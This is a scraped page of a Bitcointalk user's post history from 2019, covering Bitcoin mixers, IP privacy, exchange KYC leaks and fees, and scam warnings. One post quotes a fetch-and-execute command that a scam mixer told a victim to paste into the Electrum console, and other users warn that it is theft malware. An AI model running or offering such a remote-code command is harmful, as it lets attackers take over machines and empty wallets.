Won't it get banned for doing something like that? And also what if I use IP 1 for posting something then I change to IP 2 and post again
It's fine. I only connect to the forum via Tor or a VPN. In my recent IPs page (https://bitcointalk.org/myips.php) I usually have about 100 different IPs from around 10 different countries. I have made posts only a few minutes apart from IPs in different countries. Your IPs are logged (obviously), but that's it. You won't be banned just for using multiple IPs.
Additionally, you can limit the amount of time your IP's are stored in your settings.

Profile -> Account related settings -> "Limit IP retention".

But Cloudflare might also log your IP, and they sure as hell won't delete it, so i am somewhat doubtful how useful this really is.

If your goal is detect password and if u accept bruteforce method yes ; i can proof it.

Then why don't you post it here so everyone knows you are not just talking?
If he could do it he would've already done it and ran with the "Large amount of money" that is supposedly stored on the wallet.

alas, he can't do it.

Take note few exchange and payment processor will deny payment and refund/freeze the funds if the funds come from mixers.
Which merchants do this, any list/experiences? I've never had this happen before w/ funds send from Chipmixer.

1- I want to know if Mr X send me 1 bitcoin to one of the addresses of my Electrum wallet and later I buy a birthday cake with some of the bitcoins in my wallet, Does Mr X understand the cake has been paid by some part of his monies?
Yes.

actually it depends.
merchants (like a bakery where you buy the cake) don't usually reuse addresses and even if they do, it is still not an easy task to figure out who does the address belong to unless they are publicly announcing it which you could find it by searching on Google which again is not common.

so all "Mr X" could tell for sure is that the coins he sent has been spent and can see the amount and the address they went to.
anything extra is guesswork in 90% of cases.
This. If the bakery uses something like Bitpay or Coinpayments, there is no way Mr X knows you send money to buy a birthday cake. (That is unless he files a (successful)  police report or sues the merchant for the transaction information.)

If you want to avoid this, and completely break the chain, you should look into using a Bitcoin mixer. The most Mr X will be able to see in that case, is that you sent your funds to mixer Z. (assuming the mixer operates in good faith and actually deletes any logs, obviously.)

If the funds are confirmed, which they are, there is nothing you can do really. Bitcoin is irreversible.

https://bitcoin.org/en/you-need-to-know#irreversible




its that possible?  i havent log in into electrum 2 weeks...
When you logged into your electrum 3.3 wallet, did it tell you to "upgrade" with a popup in the wallet? If so, you probably got phished by a malicious electrum server. If i remember correctly this is still possible in 3.3 versions.

Best you can do know is try to find out HOW you lost your funds. (Clipboard attack, eg), and possibly completely reset your PC and install some reputable AV to ensure this doesn't happen again.

Bitcoin Mixer 2.0
Get cleanest coins from European, Asian and North American cryptocurrency stock exchanges
So why people's need to use your mixer? They could change it directly from them.
Well, most of these exchanges probably require KYC, so that isn't going to work. But also most of these exchanges (All) definitely keep logs, so this mixing what he's offering doesn't work at all.

Deposit adress A of customer -> Withdraw adress B frome exchange "clean" funds, but logged. You'll receive clean funds but they're associated with the mixer's account on the exchange and so they could still be seen as dirty (and if the mixer operator is stupid, could even be linked back to deposit adress A).

Quote
Although this mixing website would give good service for few days but I believe they would skip with huge amount of money. Personally I don't trust that mixing website and I will not encourage to use it. Who know when they will skip with funds.
Sure. There is no way they could operate like this on big exchanges that require KYC. Their account would be disabled within days.

Similarly when comparing a Buy order at the same price of 9000$ but with 100X leverage, the liquidation price on BitMEX is 8957$, while the same value for DMEX stands at 8910$! The higher the leverage, the higher the proportional difference. In the 100X case, the distance from price to liquidation is more than TWICE! higher on DMEX (90$ compared to 43$).
Okay, but how? Why can you offer a better liquidation price than Bitmex? What happens when there's a flash crash? You probably won't be able to market sell those 100x leveraged longs, and thus lose a lot of money..

Or am i missing something?

Cause that mean examples i send btc to A’s address and your systems will mix that address so no one can know A’s address right?
Send BTC from address A to mixer's address B

A -> B

Mixer does his trick and sends the coins from one of his addresses C to your final address D.

A (you) -> B (mixer)
C (mixer) -> D (you)

Now there is no link between A and D. Now if the mixer in specific is effective, we can't really assure. Smiley
Ohh I SEE. THAT'S LOOK THIS PROJECT IS VERY PROMISING. KEEP WAITING WHAT THEY PLAN TO DO.
I know i'm most likely talking to a bot, but this idea is not unique at all.

A lot of other mixers if not all work exactly the same way. You don't need to wait for this "project" to gain legitimacy to use a reputable mixer, there are dozens already. See https://bitcointalk.org/index.php?topic=2827109

But i doubt the error message on Electrum tell user to contact support, IMO the command is successfully executed.
Yeah this was kind of my thought too, but it doesn't seem like OP's wallet has been cleared yet, or he would've said it..

I think the gist of it is this: they'll tell him to contact "support" in the popup -> which is actually "Bitmixer.eu Support" through electrum through the command, and then they'll probably ask him to download the "fixed" version of Electrum or something similar which is "able" to run the command (while it's infact just malware designed to steal his coins).

Anyway, be safe OP.


First post as a Legendary member by the way. Woohoo.
451  Bitcoin / Bitcoin Technical Support / Re: BTC sent but not received on: August 17, 2019, 04:09:35 PM
Thanks all for the quick replies. You are correct, I only did a small amount of research and was too gullible to think scamming was so widespread. I'll read up more before I retry - thanks for the links.

I had used bitcoin blender several times before they shut down the original onion site (http://bitblendervrfkzr.onion).

FWIW, I got an email reply from Bitcoinmixer.eu and they asked me to input the following in the Electrum console:
>> exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_recovery/13nG6Qw2XzmNyHEqRZpfVu25FwjQAGEqUq').text)")
(The address is the wallet I wanted the mixed coins sent to).

The command looked safe so I tried it and it gave me an error: Server exception, please, contact with support.
I let them know and haven't heard anything since.

I also forgot to mention I'm running Electrum through the latest version of Torr but I doubt that matters.

What do you mean by "It looked safe".... The site is a scam. Don't run ANYTHING they tell you to. best case is that they'll steal all your coins, worst case is that they completely infect your entire system.

(The address is the wallet I wanted the mixed coins sent to).
So you already send money to them, they didn't give you your coins, and their support told you to try again but through the console? They're just double-scamming you.

Code:
>> exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_recovery/13nG6Qw2XzmNyHEqRZpfVu25FwjQAGEqUq').text)")
Looks extremely sketchy. I think you can be happy the server returned an error.


Wait: You ran that command in your console, and it returned what? "Please contact our support"? You should know- Electrum.org/Electrum DOES NOT have a "Support" other than their github page. If they ask you to download any other version of electrum, it's most likely a scam.

452  Economy / Exchanges / Re: Binance hacked again 10k+ KYC (FACEBOOK 2.0 LEAKAGE) on: August 17, 2019, 01:13:02 PM
Can't they invest enough in security, I don't understand
They don't want to invest in security because behind the scene, the hackers are their own employees lol I mean it's 2019, do you seriously believe all these exchanges actually get hacked? It's just a way to escape the system, escape the customers, escape the laws with an excuse and no fines at all. They call it an exit scam.
Why/how would binance profit from leaking a couple thousand KYC docs/selfies from people?

If anything, it is extremely bad PR for them, and drives people away from using them.

Meanwhile the data itself really has little to none intrinsic value as most of it is already used and timestamped. (Most pictures at least.) So, really, it's only good for blackmailing.

lol, this looks just like another exchange selling its users' KYC documents on the dark market and pocketing the money then pretending it was a hack. they have good excuses for it too since they got hacked a while ago and they are linking this to that.

how many times these centralized exchanges have to sell our personal data before we at least stop using them for altcoin versus bitcoin trades and only stick to them when fiat is involved?

https://www.theblockcrypto.com/tiny/binance-brought-in-78-million-in-profits-in-q1-up-66-quarter-on-quarter/

Why put your reputation on the line for a couple thousand KYC pics while your quarterly profits are 78 million? Doesn't add up

I am not asking about their payment to join in their campaign,I have been on bustadice over a year and I am well satisfied for being in bustadice.

I asked to know about to report for other members,anyway I try to register on their site but can't be able to so it means their site is completely down?
Yobit *seems* to load fine for me. Trading and the chatbox also seem to be active so it's probably an issue on your end? You don't get the account confirmation email or something? Perhaps it's in your spam folder?

edit: hell no i'm not registering a new account there Tongue

OP is probably buying crypto on Changelly with his credit card. With the risk of him chargebacking, a 25% fee could very well be reasonable.
Nah! I will disagree. 25% fees is too much. Imagine you are spending $100 and you will end up paying $125. That's a lot!
I agree personally, but if you look at sites such as Paxful and Localbitcoins, it's not uncommon to pay a hefty premium, and in exchange for such a premium you don't need to do KYC etc.
(Although i don't actually know if Changelly requires KYC or not for fiat, i thought they didn't for smaller amounts..?)

Paypal dealers on paxful easily make 30-40% on a trade. Not the same as a credit card, but i'd say it's comparable.
455  Economy / Exchanges / Re: Question about Bittrex Exchange on: August 16, 2019, 06:26:04 PM
OP, after you verified your account and got your money out, ask them to delete your KYC data. I've read that especially if you're from europe (EU), they probably will have to adhere your request (due to GPDR (?)).
Not that i'd verify the account for 150$ in the first place, because really, Bittrex and Poloniex are untrustworthy in my book.

Is that even possible? Will they really delete my data? I live in the South East Asia.
I'm actually not so sure about that anymore. I do think they should as per the new GPDR rules for people who live in Europe, but if this is actually the case is really hard to find out for some reason..


Although even if they honor your request, they probably still keep them a bit longer for regulatory purposes, or perhaps never delete them at all, or hand copies to authorities before actually deleting your data.

People do claim they have succesfully deleted their Coinbase account - https://www.reddit.com/r/CryptoCurrency/comments/ai1s6o/is_it_possible_to_request_kyc_data_be_deleted/eeklve0/ (Albeit the process was described as "sketchy" at best, and a failure at worst.)


I also find this quite unexplainable, but that's slightly offtopic. https://www.reddit.com/r/bitcoincashSV/comments/a9icd9/bittrexcom_may_be_illegally_selling_your_kyc/


Perhaps this would be a good thing to test out; which exchanges allow your KYC data to be "Deleted". I for one would be curious for the results.
456  Economy / Services / Re: Where I can exchange crypto? on: August 16, 2019, 01:21:51 PM
Hey! Can you tell me where is better to exchange crypto? I use changelly and pay 25% fee, but I want to know if there are services with lower fees. Appreciate your help!
25%! That's ridiculous.
Why not you try regular exchanges like Binance and Kucoin? I suggest you try them. Most of us use them and they are trusted. Else you can try OTC trade. The forum is not bad place at all but make sure you use a trusted escrow.
It's also false. I don't want to defend changelly and changenow (because i find them extremely shady.) but if you do a simple crypto swap "Exchange", the fees are roughly ~1% (Compared with binance that's still pretty high.)
Code:
 1 BTC = 54.88112551 ETH
Actual rate: 1 Bitcoin equals 55,31 Ether

0.43/55.31 = 0.77%


OP is probably buying crypto on Changelly with his credit card. With the risk of him chargebacking, a 25% fee could very well be reasonable. I also don't really know of any non-KYC alternatives other than Paxful and Localbitcoins (?)

OP, use Kraken, Bitstamp, or Coinbase if you want lower fees. Note that these require KYC though and probably don't accept credit cards. (Not entirely sure about that, you'll have to figure that out yourself.)

458  Bitcoin / Development & Technical Discussion / Re: "relayed_by" addres IP on: August 16, 2019, 12:34:25 PM
I think, peers are not constant and must be often called getpeerinfo
You can change that by only connecting to certain nodes but then the stat becomes even more useless as you're bound to only get new tx's relayed by those nodes anyway.
So really the question becomes about what you're trying to achieve with this?






I'm not sure how blockcypher and blockchain.com do it, or why they think this stat is useful to add anyway. Are they connected to what, 1000 peers?
459  Bitcoin / Development & Technical Discussion / Re: "relayed_by" addres IP on: August 16, 2019, 12:13:51 PM
I run bitcoin with -debug=net
in log I have "got inv tx=hash, new peer=1"
peer = 1 or 9 but how get IP address from peer number?

GetPeerInfo (?) https://bitcoincore.org/en/doc/0.16.0/rpc/network/getpeerinfo/

Again though, you will see which node relayed the transaction to YOU. It's obviously not the node that is the original owner of the tx.

And thus, as others have also stated in the past, the information is rather useless. I don't really understand what you would want this for.

135.3 BITCOINS MIXED at last week
Sounds so fake. If you had actually mixed over 100BTC, you'd have roughly ~1BTC in profits.

What would one do with such a large amount? Stash it away? Of course not. Any rational operator would use those profits to expand their reach, eg marketing. Banner ads/signature campaign etc.
Yet you've done neither to increase your legitimacy.

Also the design of your mixer is really... i don't know.. Offsetting..? I guess that's due to the no-JS.. I don't know man.

Also no bech32 support. Next it simply says "Send BTC to X adress". There are no limits either? Hmmmm.
